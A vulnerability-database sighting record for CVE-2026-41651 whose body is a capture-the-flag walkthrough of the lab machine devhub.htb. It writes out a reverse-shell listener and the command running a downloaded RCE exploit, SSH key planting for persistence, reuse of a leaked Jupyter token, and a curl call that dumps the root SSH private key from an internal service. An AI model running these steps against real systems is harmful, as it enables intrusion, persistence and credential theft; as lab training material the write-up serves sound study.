{"uuid": "081b6f10-e267-4987-bdce-5bb2d5df0ee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-41651", "type": "seen", "source": "https://gist.github.com/Yann-P/597c2a31f6485fd849eb896411334a3f", "content": "\n1. nmap\n2. find port 80\n3. http page mentions mcp port 6274\n4. try access port 6274 in http\n5. shows mcpjam landing page\n6. find CVE and exploit https://raw.githubusercontent.com/alisster00/CVE-2026-23744-RCE/refs/heads/main/script.py\n7. reverse shell, `nc -l 10.10.15.61 4444`, `python mcpexploit.py --lport 4444 --lhost 10.10.15.61 -p 6274 devhub.htb`\n8. put autorized key, `echo 'ssh-ed25519 AAAAC3NzaC1l... htb' &gt; ~/.ssh/authorized_keys`\n\n### Track 1: linpeas\n\n1. on host, `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh &gt; linpeas.sh`\n2. on host, `scp -i ~/.ssh/htb ./linpeas.sh mcp-dev@devhub.htb:~/`\n3. on target, run linpeas\n\nFindings\n\n```\nhttps://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html\nPackageKit version detected: 1.2.5\nVulnerable to CVE-2026-41651 (Pack2TheRoot) - PackageKit 1.2.5 is in the vulnerable range &gt;=1.0.2 &lt;=1.3.4\n```\n\nNot exploited for now.\n\n### Track 2: lateral movement to analyst\n\n10. ls /home, shows user \"analyst\"\n11. `ps aux | grep analyst`\n\n```\nanalyst     1077  0.0  2.4 182524 96256 ?        Ss   09:53   0:06 /home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False\nroot        1082  0.0  0.7  37376 28788 ?        Ss   09:53   0:01 /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py\n```\n\n### Track 3: Jupyter\n\n1. Expose port 8888\n2. `ssh -i ~/.ssh/htb mcp-dev@devhub.htb -L 8888:localhost:8888 `\n3. token is leaked by ps aux above, set up new password \"yolo\" on localhost:8888 web ui.\n4. new terminal on jupyterlab (shell as analyst) -&gt; `cat user.txt` -&gt; `e73a08ded246c24...`\n\nLateral to analyst succeeded. User flag solved.\n\nAdditional: \n1. `mkdir ~/.ssh &amp;&amp; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NT.... htb' &gt; ~/.ssh/authorized_keys`\n\n### Track 4: linpeas again\n\n1. `scp -i ~/.ssh/htb ./linpeas.sh analyst@devhub.htb:~/`\n\nFindings\n\n```\n\u2550\u2563 Services with writable paths? . jupyter.service: Writable service PATH entry '/home/analyst/jupyter-env/bin'\njupyter.service: /home/analyst/jupyter-env/bin/jupyter (from ExecStart=/home/analyst/jupyter-env/bin/jupyter lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token='a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7' --ServerApp.password='' --ServerApp.allow_origin='' --ServerApp.disable_check_xsrf=False)\nopsmcp.service: Writable service PATH entry '/home/analyst/jupyter-env/bin'\n```\n\n\n### Exploration\n- processes ran as root\n\n```\nroot        1082  0.0  0.7  37376 28788 ?        Ss   09:53   0:02 /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py\n```\n\n- env: nothing.\n\n## Track 5: /opt/opsmcp/server.py runs as root\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nOPSMCP - Operations MCP Server\nInternal tool for system operations management\n\"\"\"\n\nfrom flask import Flask, jsonify, request\nimport os\n\napp = Flask(__name__)\n\n# API Key for authentication\nVALID_API_KEY = \"opsmcp_secret_key_4f5a6b7c8d9e0f1a\"\n\n...\n\ndef check_auth():\n    \"\"\"Check API key authentication\"\"\"\n    api_key = request.headers.get('X-API-Key', '')\n    return api_key == VALID_API_KEY\n\n...\n\n@app.route('/tools/call', methods=['POST'])\ndef call_tool():\n    if not check_auth():\n        return jsonify({\"error\": \"Unauthorized\", \"message\": \"Valid X-API-Key header required\"}), 401\n\n    data = request.get_json() or {}\n    tool_name = data.get('name', '')\n    args = data.get('arguments', {})\n\n    if not tool_name:\n        return jsonify({\"error\": \"Tool name required\"}), 400\n\n    if tool_name not in ALL_TOOLS:\n        return jsonify({\"error\": f\"Unknown tool: {tool_name}\"}), 404\n\n    # Execute tool\n    if tool_name == \"ops.system_status\":\n        ...\n\n\n    elif tool_name == \"ops._admin_dump\":\n        target = args.get('target', '')\n        confirm = args.get('confirm', False)\n\n        if not confirm:\n            return jsonify({\n                \"error\": \"Confirmation required\",\n                \"usage\": \"Set confirm=true to proceed\",\n                \"warning\": \"This dumps sensitive credentials\"\n            })\n\n        if target == \"ssh_keys\":\n            try:\n                with open('/root/.ssh/id_rsa', 'r') as f:\n                    key_data = f.read()\n                return jsonify({\n                    \"target\": \"ssh_keys\",\n                    \"root_private_key\": key_data,\n                    \"note\": \"Emergency recovery key dump\"\n                })\n            except Exception as e:\n                return jsonify({\n                    \"target\": \"ssh_keys\",\n                    \"error\": f\"Could not read key: {str(e)}\"\n                })\n\n        ...\n\nif __name__ == '__main__':\n    app.run(host='127.0.0.1', port=5000, debug=False)\n```\n\n\n1. There are tokens in cleartext\n2. In track 6 we have already seen that flask is owned by root: connection to this finding?\n3. Script analysis\n\t1. we probably have the passwords of analyst but not needed anymore\n\t2. This can leak /root/.ssh/id_rsa !\n4. we want to expose this, call with `tool_name=ops._admin_dump` and `target == \"ssh_keys\":`\n\t1. expose `ssh -i ~/.ssh/htb analyst@devhub.htb -L 5000:localhost:5000`\n\t2. try\n\t\n```\n\tcurl localhost:5000\n{\"auth\":\"Required - X-API-Key header\",\"endpoints\":[\"/tools/list\",\"/tools/call\",\"/health\"],\"server\":\"OPSMCP\",\"status\":\"operational\",\"version\":\"2.1.0\"}\n```\n\n```\n curl -s -X POST \\\n    'http://localhost:5000/tools/call' \\\n    -H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' \\\n  -H \"Content-Type: application/json\" -d '{\"name\": \"ops._admin_dump\", \"arguments\": {\"confirm\": true, \"target\": \"ssh_keys\"}}'\n```\n\nreturns the root ssh key.\n\n1. vim ~/.ssh/htb2\n2. chmod 600 ~/.ssh/htb2\n3. ssh -i ~/.ssh/htb2 root@devhub.htb\n4. cat root.txt\n\nSolved\n\n## Track 6 : writable  /home/analyst/jupyter-env/bin found by linpeas\n\n1. \n\n```\n   analyst@devhub:~$ ls -Rl  /home/analyst/jupyter-env/bin\n/home/analyst/jupyter-env/bin:\n-rw-r--r-- 1 analyst analyst 2008 Jan 22 15:03 activate\n-rw-r--r-- 1 analyst analyst  934 Jan 22 15:03 activate.csh\n-rw-r--r-- 1 analyst analyst 2210 Jan 22 15:03 activate.fish\n-rw-r--r-- 1 analyst analyst 9033 Jan 22 15:03 Activate.ps1\n-rwxr-xr-x 1 analyst analyst  211 Jan 22 15:06 debugpy\n-rwxr-xr-x 1 analyst analyst  217 Jan 22 15:06 debugpy-adapter\n-rwxr-xr-x 1 analyst analyst  210 Jan 22 15:06 f2py\n-rwxr-xr-x 1 root    root     202 Mar 16 21:28 flask\n-rwxr-xr-x 1 analyst analyst  211 Jan 22 15:06 fonttools\n```\n\nflask is owned by root\n\nTrack abandoned\n\n", "creation_timestamp": "2026-06-18T12:30:28.000000Z"}